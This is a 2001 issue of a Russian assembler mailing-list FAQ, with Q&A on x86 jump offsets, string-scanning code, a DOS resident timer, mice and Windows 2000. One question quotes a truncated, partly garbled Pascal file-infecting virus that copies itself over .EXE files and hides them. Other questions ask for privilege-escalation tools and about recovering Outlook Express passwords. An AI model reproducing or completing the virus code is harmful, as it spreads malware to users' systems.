Рассылка закрыта
При закрытии подписчики были переданы в рассылку "RFpro.ru: Ассемблер? Это просто! Учимся программировать" на которую и рекомендуем вам подписаться.
Вы можете найти рассылки сходной тематики в Каталоге рассылок.
Ассемблер? Это просто! Учимся программировать (FAQ)
Ассемблер? Это просто! Учимся программировать (FAQ)
Выпуск N 121 |
Вопросы, которые поступили от подписчиков рассылки
"Ассемблер? Это просто! Учимся программировать"
Дата выхода: 2001-10-22
Вопрос №1269
А можно и мне вопросик задать? :) Можно? Спасибо. :))
Вопросик состоит в выборе одной из ДВУХ альтернатив при покупке мышки: инфра- или радио-? (Оптическая не подходит по многим причинам...) Какую Вы посоветуете? Какая лучше, какая хуже?
Ответ
Здравствуйте, Kit!
НУ МАЖОР!!! я бы взял радио, т.к. ей не нужна прямая видимость, а у меня стол завален всяким хламом и напряжно будет с инфракрасной. А ваще мышь должна быть хвостатой! (и со стола ей упасть и раскокошиться тогда сложнее).
Отправил эксперт: Painbringer (http://limanski.narod.ru - нечто наподобие домашней страницы)
Эксперт отправил ответов (всего): 198
Экспертная группа: Модели, виды и типы компьютеров (hard)
Вопрос №1269
А можно и мне вопросик задать? :) Можно? Спасибо. :))
Вопросик состоит в выборе одной из ДВУХ альтернатив при покупке мышки: инфра- или радио-? (Оптическая не подходит по многим причинам...) Какую Вы посоветуете? Какая лучше, какая хуже?
Ответ
Здравствуйте, Kit!
Честно говоря, ни то ни другое... Все эти vireless затейка бредовая...
Вичь если Вы выложите уеву тучу денег за беспроводную мыши... И, о, боже, кнопушки превратятся в декорации... Не хотити оптику брать - берите трекбол... Он подороже, но вешь стоящая...
А если говорить о выборе между этими двумя поганящими род мышей особями - берите инфра... Радио - лишние помехи... Инфра более стабильна...
Отправил эксперт: Anvar
Эксперт отправил ответов (всего): 16
Экспертная группа: Модели, виды и типы компьютеров (hard)
Вопрос №1261
Привет всем!
Вопрос для MOByte. Я так и думал но меня разуверило в этом слудующее действие. Например запускаешь debug. Пишешь команды jmp metka jmp metka. Так дампишь память по этому месту и видиши смещение вперед 0fc и 0аe например как тогда ведь это числа отрицательные, а смещение-то вперед
Ответ
Здравствуйте, DiGiT!
Попробуй скомпильнуть и сдампить "metka_: jmp metka_" - абсолютное значение смещения равно размеру команды jmp, но оно отрицательно, т.е. идет смещение назад. Или я не понял вопроса?
Отправил эксперт: MOByte
Эксперт отправил ответов (всего): 9
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1271
Для хакеров!
Текст приведённой ниже программы вирус I-Worm.Hybris.b
ИлИ я ошибаюсь??
Ответ
Здравствуйте, Владимир!
Вряд ли вопрос "Для хакеров!" ;)
И вообще, нерезидентные вирусы не интересно. Если хочешь хороший оптимизированный код - строгай на асме, приятно же самому задавать структуру программы, чем терпеть шаблонность компилятора (хоть и паскалевского).
Отправил эксперт: MOByte
Эксперт отправил ответов (всего): 10
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1273
Как заставить программу сравнить первый символ каждого слова с буквой "а"?
Ответ
Здравствуйте, Рамиль!
Пользуйся. Тока пожалуйста оптимизируй ее немного. А мне в лом..
Приложение:
Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 41
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1273
Как заставить программу сравнить первый символ каждого слова с буквой "а"?
Ответ
Здравствуйте, Рамиль!
повтыкай в мою прогу. единственный ее глюк - если вначале слова больше одной "а", то она его не выведет. переделывать лень было. так что посмотри.
а твоя, кстати, если слово из одних "а" - запориться и вообще она немного кривая
Приложение:
Отправил эксперт: Broken Sword
Эксперт отправил ответов (всего): 195
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1274
Привет всем!!!
Меня тут недавно завалили ответами!!! Вообще-то хорошо хоть рассылка немного оживилась. Я по поводу jmp.
Разобрался. Прогнал конечно немного. Но взял книгу Финогенова и разобрался. Но для общей информации для тех кто не знает расскажу. Что ближний переход адресуется все-таки целым беззнаковым числом,правда с такой фишкой как если надо вернуться назад то сначала считаешь до конца сегмента+смещение относительно начала сегмента и получается общее смещение. А вот насчет абсолютного смещения кто-то прогнал. Как, если это смещение, оно может быть абсолютным. Смещение и подразумевает что относительно чего-то. Короткий да знаковым. Ну правда есть еще и косвенные переходы... Но это каждый сам.
Ответ
Здравствуйте, DiGiT!
А не кажется ли тебе, что это одно и то же?! Просто в случае длинного ближнего перехода используется знаковое слово, а не байт как в случае короткого перехода. Отсчет ведется от следующей за командой перехода команды. Поиграмем в интересную игру - найди 10 отличий.
Короткий переход:
1 0000 .model tiny
2 0000 .code
3 org 100h
4 0100 start:
5 0100 EB 51 jmp @@1 ; короткий переход на 51h байт вперед (+51h= 1 байт ret+100h байт db)
6 0102 C3 @@2: ret
7 0103 50*(41) db 50h dup ('A')
8 0153 EB AD @@1: jmp @@2 ; длинный переход на 53h байта назад (0adh=-53h= 1 байт ret + 50h байт db + 2 байта jmp @@2)
9 end start
Длинный переход:
1 0000 .model tiny
2 0000 .code
3 org 100h
4 0100 start:
5 0100 E9 0101 jmp @@1 ; длинный переход на 101h байт вперед (+101h= 1 байт ret + 100h байт db)
6 0103 C3 @@2: ret
7 0104 0100*(41) db 100h dup ('A')
8 0204 E9 FEFC @@1: jmp @@2 ; длинный переход на 104h байта назад (0fefch=-104h= 1 байт ret + 100h байт db + 3 байта jmp @@2)
9 end start
ps если рассуждать твоим методом, то мона и так сказать, в короткий переход адрессуется целым беззнаковым числом размером в байт, а что бы с такой фишкой вернуться назад отсчитываешь сколько байт до границы в +127 байт и прибавляешь число байт от границы -127 байт :D
Отправил эксперт: Painbringer (http://limanski.narod.ru - нечто наподобие домашней страницы)
Эксперт отправил ответов (всего): 199
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1273
Как заставить программу сравнить первый символ каждого слова с буквой "а"?
Ответ
Здравствуйте, Рамиль!
Вот вам моя прога (не окончена т.к. если последнее слово заканчивается (и начинается) на а то она его не выводит (почему то ? вроде должна :((()
.model tiny
.code
org 100h
begin:
mov ah,0ah
mov dx,offset buffer_max_length
int 21h
mov cl,buffer_length
xor ch,ch
mov di,offset buffer
add cx,di
next_word:
mov al,' '
repz scasb ;find first symbol that is not a space (first symbol of the word)
cmp byte ptr [di-1],'a' ;this is 'a' ?
jne next ;no, let's try another word
mov si,di ;yes! remember word's begin
dec si
repnz scasb ;find end of this word (first space after it)
test cx,cx ;if cx=0 (last symbol in the string)
jz eol ;then compare last symbol with 'a'
dec di ;else di=di-2
dec di ;and compare symbol before space
eol:
cmp byte ptr [di],'a'
jne next
mov al,0ah;next word-next string
int 29h
mov al,0dh
int 29h
write_string: ;write the word
lodsb
int 29h
cmp si,di
jng write_string
next:
inc di
test cx,cx ;end of string ?
jnz next_word
retn
buffer_max_length db -1
buffer_length db ?
buffer:
end begin
Отправил эксперт: Bart Simpson
Эксперт отправил ответов (всего): 10
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1285
Здравствуйте уважаемые эксперты.
Подскажите
Поддерживает ли PROC синтаксис с явным заданием сегмента кода и можно ли из одного сегмента кода вызвать процедуру, описанную как NEAR в другом сегменте кода.
Ответ
Здравствуйте, ivekm!
Так ты пробуй call far ptr metka
Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 42
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1282
А можно ли сравнивать сразу же первый и последний символ и выводить это слово отдельно? К примеру, символом явл. буква "а".
Ответ
Здравствуйте, Рамиль!
Так ты разберись в этой проге. Там слово заносится по адресу slovo. Так и проверяй в нем последнюю букву и если надо выводи на экран. Что конкретно то надо
Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 43
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1279
Всем привет!!
Вот такая странная история, нужна прога для Окон2000 типа GETADMIN! Воощем 10 тачек и сервак залокан, сисадмин спился его выкинули, а сервак остался залокан, из учетных записей тока Administrator!!!
Заранее пасибо! Буду очень признателен!
Ответ
Здравствуйте, Wiz!
Переустанови если не знаешь Админовский пароль. А так все зависит от привилегий которые ты имеешь. Или пробуй так снимай винт и цепляй к другой NT. А с нее пляши дальше. А так просто тебе NT-ха не дастся.
Короче переустанови все к чертовой бабушке.
Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 44
Экспертная группа: Пользовательская работа с Windows
Вопрос №1277
Ребзя ! Вообщем написал я прогу (резидентный таймер) (прилагается) почему она занимает маста в памяти аж (!) 128 байт (144 байта ? если верить досовскому mem (вообще кому верить ? если каждая прога говорит разное ?)) я так понял резидентная прога должна использовать стэк (;) а как инт 27h узнает скока нам его надо ? и где он распологается ? а может лучше инт 31h (или как там...) и вообще как резидент оставить без PSP ? максимум что я смог сделать это скопировать её в 32h меньше уже нельзя :( там сэйвится старые обрабочики ctr-break etc. да ! и еще предлагаю возобновить наши конкурсы самых маленьких прог ! а то нам с Broken Sword'om ужу надоело одним :( ну как ? напишите меньше ? (только чур оптимизировать только резидентную часть :)
.model tiny
.186
.code
org 2ch
env_seg dw ?
org 100h
begin:
jmp short initialize
int_1ch_handler proc far
pusha
push es
push ds
db 68h,00h,0b8h
pop es
mov di,70*2
mov ax,7020h
stosw
mov al,04h
repeat:
out 70h,al
push ax
in al,71h
push ax
db 0c0h,0e8h,04h
or al,30h
stosw
pop ax
and al,0fh
or al,30h
stosw
mov al,3ah
stosw
pop ax
sub al,2
jns repeat
dec di
dec di
mov al,20h
stosb
pop ds
pop es
popa
db 0eah
old_int_1ch dd ?
int_1ch_handler endp
initialize:
mov ah,49h
mov es,word ptr env_seg
int 21h
mov ax,351ch
int 21h
mov word ptr old_int_1ch,bx
mov word ptr old_int_1ch+2,es
push cs
pop es
mov si,offset int_1ch_handler
mov di,new_start
mov cx,offset initialize-offset int_1ch_handler
rep movsb
mov ax,251ch
mov dx,new_start
int 21h
mov dx,offset initialize-100h+new_start
int 27h
;данные
new_start equ 32h
end begin
Ответ
Здравствуйте, Барт Симпсон!
Так ты выделяй свой стек и еще с запасом так как дос самой он еще нужен будет. Например в сегменте кода. А там настраивай ss на начало сегмента, а sp на конец той структуры.
Например
mystack dw dup(40)
...
mov ax,cs
add ax,offset mystack
mov ss,ax
mov sp,40*2
И еще используй
mov ax,3100h
int 21h
Вместо Int 27h
Конечно длинная программа и вряд ли в ней кто будет копаться, но я тебе скажу, что не старайся запихнуть в 1ch такой длинный код,т.к. он должен выполняться 18.2 раза в секунду.
Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 45
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1269
А можно и мне вопросик задать? :) Можно? Спасибо. :))
Вопросик состоит в выборе одной из ДВУХ альтернатив при покупке мышки: инфра- или радио-? (Оптическая не подходит по многим причинам...) Какую Вы посоветуете? Какая лучше, какая хуже?
Ответ
Здравствуйте, Kit!
Бери инфра ред....
Отправил эксперт: змей
Эксперт отправил ответов (всего): 71
Экспертная группа: Модели, виды и типы компьютеров (hard)
Вопрос №1286
Здраствуйте эксперты.
Вопросы по win2000PRO
1. При копировании файлов на чужой винт на некоторых файлах имею стабильную перезагрузку, свой диск разбит на два FAT32 и NTFS так вот заметил, что перезагрузка возникает только если пытаюсь копировать с раздела NTFS, а вот при копировании на свой диск (который FAT32) проблем не возникает.
2. Время от времени (в зависимости от фазы луны) так же возникает перезагрузка.
3. Имею с брателой небольшую локальную сетку (соеденены витой парой UTP 100 Mbit) связь под win98se идеальна и главное двухсторонняя, но, если мой комп под win2000, не могу с его машины залезть к себе и покавыряться на дисках :( не пускает (ну не ставить ведь сервер 2000 дома).
4. А нормально с DOS Win2000 работать может? Я имею в виду подержку буфера обмена как в win98 и русской клавиатуры без всяких дополнительных загрузок разных кейрусов? Ведь в консоли DOS Win2000 по русски вроде чегото может.
5. А нормально в Win2000 на прямой конект с друганами через модем соеденится можно? Хотел как в 98 используя сервер удалЈнного доступа или ярлычЈк дозвона как в инет только с включЈнной галкой войти в сеть - дык нет таких, есть вроде ярлычЈк принимать входящие звонки, но по простому не работает (через какую ж.. этим пользоваться наверно через ж.. Била Гея) - если и соединяется то возникает проблема с доступом.
P.S. Сносить или не сносить win2000, вот в чЈм вопрос! Винда то шибко удобная, но если данные проблемы нельзя както обойти, то грош цена ей - будем юзать только на работе ;).
Ответ
Здравствуйте, Denisov Evgeniy!
1. нтфс ставь первой... т.к фат не увидит нтфс
2. че за перезагрузка?? поконкретней можно? в даун вылетает сам
или ты жмешь ctrl alt del 100 раз????
3. а шарить ресурсы пробовал? у меня вот на работе в локалке у всех
вынь 2000 и нт у меня 98se , проблем нет..
4. если у тя русификатор грузиться сразу как вынь загружается
то можно..
5. можно, скажи другану шоб сделал так шоб принимать входящие звонки
и посмотри шоб линия была к момеду подключена а не к телефону
ведь у телефона тоже есть свойство принимать входящие
P.s. сноси нафих ведь вынь98se намного удобнее, и глюков меньше и проще с ним работать..
Отправил эксперт: змей
Эксперт отправил ответов (всего): 72
Экспертная группа: Пользовательская работа с Windows
Вопрос №1279
Всем привет!!
Вот такая странная история, нужна прога для Окон2000 типа GETADMIN! Воощем 10 тачек и сервак залокан, сисадмин спился его выкинули, а сервак остался залокан, из учетных записей тока Administrator!!!
Заранее пасибо! Буду очень признателен!
Ответ
Здравствуйте, Wiz!
в инете валом софта, поищи..может че нить и покруче найдешь чем
гетадмин...
Отправил эксперт: змей
Эксперт отправил ответов (всего): 73
Экспертная группа: Пользовательская работа с Windows
Вопрос №1272
Увжаемые эксперты.
Есть мамка AB-PT5 и проц AMD K6 200,
мамка определяет его как CPU 66 Mhz,
ставлю пень 166, определяет правильно.
Abit dont support now эти мамки.
Может у кого есть manual and new BIOS for update.
Я думаю причина в Биосе. Кто может помочь?
Премного благодарен.
Ответ
Здравствуйте, Oleg!
посмотри производителя мамки...и скачай с сайта етого производителя...
Отправил эксперт: змей
Эксперт отправил ответов (всего): 74
Экспертная группа: Модели, виды и типы компьютеров (hard)
Вопрос №1270
Для эксперта змей!
НЕ ПОНЯЛ ЮМОРА ЭТО К ЧЕМУ??????????????
Program Vir;
{$M 2048,0,4096}
Uses Dos, Crt;
Var F1 : File;
F2 : File;
O : String;
Parm : String;
P : DirStr;
N : NameStr;
E : ExtStr;
Buf : Array[0..8000] of Byte;
NumRead : Word;
NumWritten : Word;
DirInfo : SearchRec;
ComExist : SearchRec;
Infect : Byte;
Procedure StartOrigExe;
Begin
O := ParamStr(0);
FSplit(O,P,N,E);
O := P+N+'.EXE';
P := '';
For NumRead := 1 To ParamCount Do
P := P + ParamStr(NumRead);
SwapVectors;
Exec(O,P);
SwapVectors;
End;
Procedure InfectExe;
Begin
FindFirst('*.EXE',Archive,DirInfo);
While (DosError = 0) And (Infect0 Then
Begin
Assign(F1,O);
Rewrite(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
SetFattr(F1,Hidden);
Dec(Infect);
End;
FindNext(DirInfo);
End;
End;
Procedure Activate;
Var
T1,T2 : Integer;
I : Real;
X , Y : Byte;
Resolution : Integer;
Begin
ClrScr;
I := 0;
T2 := 38;
Randomize;
Repeat
Resolution := 50;
For T1 := 0 to Resolution Do
Begin
X := Abs(40+Round(Sin(I)*T2));
Y := Abs(12-Round(Cos(I)*10));
GotoXY(X,Y);
Write('Ы');
I := I + ((Pi*2)/Resolution);
End;
T2 := T2 - 1;
TextColor(Random(14)+1);
Until T2
Ответ
Здравствуйте, Владимир!
не...ет я не тебе..проста..запарился..
Отправил эксперт: змей
Эксперт отправил ответов (всего): 75
Экспертная группа: Модели, виды и типы компьютеров (hard)
Вопрос №1256
А где отлук экспресс "хранит" пароли на аккаунты? и вообще как их можно узнать...
Ответ
Здравствуйте, Andrew!
посмотри в профиле юзера...
Отправил эксперт: змей
Эксперт отправил ответов (всего): 76
Экспертная группа: Пользовательская работа с Windows
Вопрос №1287
Почему при вызове прерывания int 16h в ah загружается 10h.
Я прочитал помощь из базы, которую скачал с сайта, там указано, что загружать надо 00h, 01h или 02h, хотя я не заметил никакой разницы между 10h и 00h ?
Ответ
Здравствуйте, Илья!
В тичхелпе описано что есть функции 00 01 и 02 в 16-ом прерывании. А насчет других ничего не сказано, хотя не исключается, что есть функции с номером поболее.
Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 46
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №1274
Привет всем!!!
Меня тут недавно завалили ответами!!! Вообще-то хорошо хоть рассылка немного оживилась. Я по поводу jmp.
Разобрался. Прогнал конечно немного. Но взял книгу Финогенова и разобрался. Но для общей информации для тех кто не знает расскажу. Что ближний переход адресуется все-таки целым беззнаковым числом,правда с такой фишкой как если надо вернуться назад то сначала считаешь до конца сегмента+смещение относительно начала сегмента и получается общее смещение. А вот насчет абсолютного смещения кто-то прогнал. Как, если это смещение, оно может быть абсолютным. Смещение и подразумевает что относительно чего-то. Короткий да знаковым. Ну правда есть еще и косвенные переходы... Но это каждый сам.
Ответ
Здравствуйте, DiGiT!
Спасибо по разъяснение насчет ближнего перехода - я как-то эту информацию видимо пропустил в свое время, а ответ писал по памяти, не пользуясь справочниками - ну нет их у меня под рукой на работе... :((
А из дому тащить лень.
А по поводу "абсолютного" и "относительного" смещения - я имел в виду отсчет от начала сегмента. Потому как адрес представляется парой сегмент:смещение, вот его я и назвал абсолютным, в отличие от относительного, которое отсчиьывается от текущего положения указателя команд. Так что насчет терминологии все правильно, а вот насчет описания команды - нет :((
Еще раз спасибо за корректировку. Может, кому и пригодится.
Отправил эксперт: Ayl
Эксперт отправил ответов (всего): 41
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Подписаться на рассылки
Форма подачи вопроса
ВНИМАНИЕ!!! Пожалуйста, НЕ высылайте один вопрос сразу нескольким подгруппам! Дополнения к вопросам, на которые эксперт уже ответил НЕ следует направлять ведущему рассылки (я не успеваю!). Просто скомбинируйте первый вопрос и дополнение к нему, а затем заново отправьте его, используя приведенную ниже форму!Нажимайте кнопку "Отправить" только ОДИН раз и дождитесь полной загрузки страницы, иначе вопрос будет продублирован!
Регистрация в качестве эксперта
Архив выпусков
Ведущий рассылки,
Калашников Олег:
Assembler@Kalashnikoff.ru
ICQ No.: 68951340
URL сайта подписчиков:
http://www.Kalashnikoff.ru
______________
По вопросам сотрудничества, рекламы и спонсорства обращайтесь:
- Публичное размещение материала из рассылки: Cooperation@Kalashnikoff.ru
- Реклама на сайте, в книге и рассылках: http://www.Kalashnikoff.ru/Reklama.html, Reklama@Kalashnikoff.ru
- Издание книги (спонсорство): Sponsor@Kalashnikoff.ru
(C) Москва, 2001. Авторское право принадлежит Калашникову О.А. Публичное размещение материала из рассылки, а также его использование полностью или частично в коммерческих или иных подобных целях без письменного согласия автора влечет ответственность за нарушение авторских прав. |
Реклама на сайте Kalashnikoff.ru
http://subscribe.ru/
E-mail: ask@subscribe.ru |
Отписаться
Убрать рекламу | Рейтингуется SpyLog |
В избранное | ||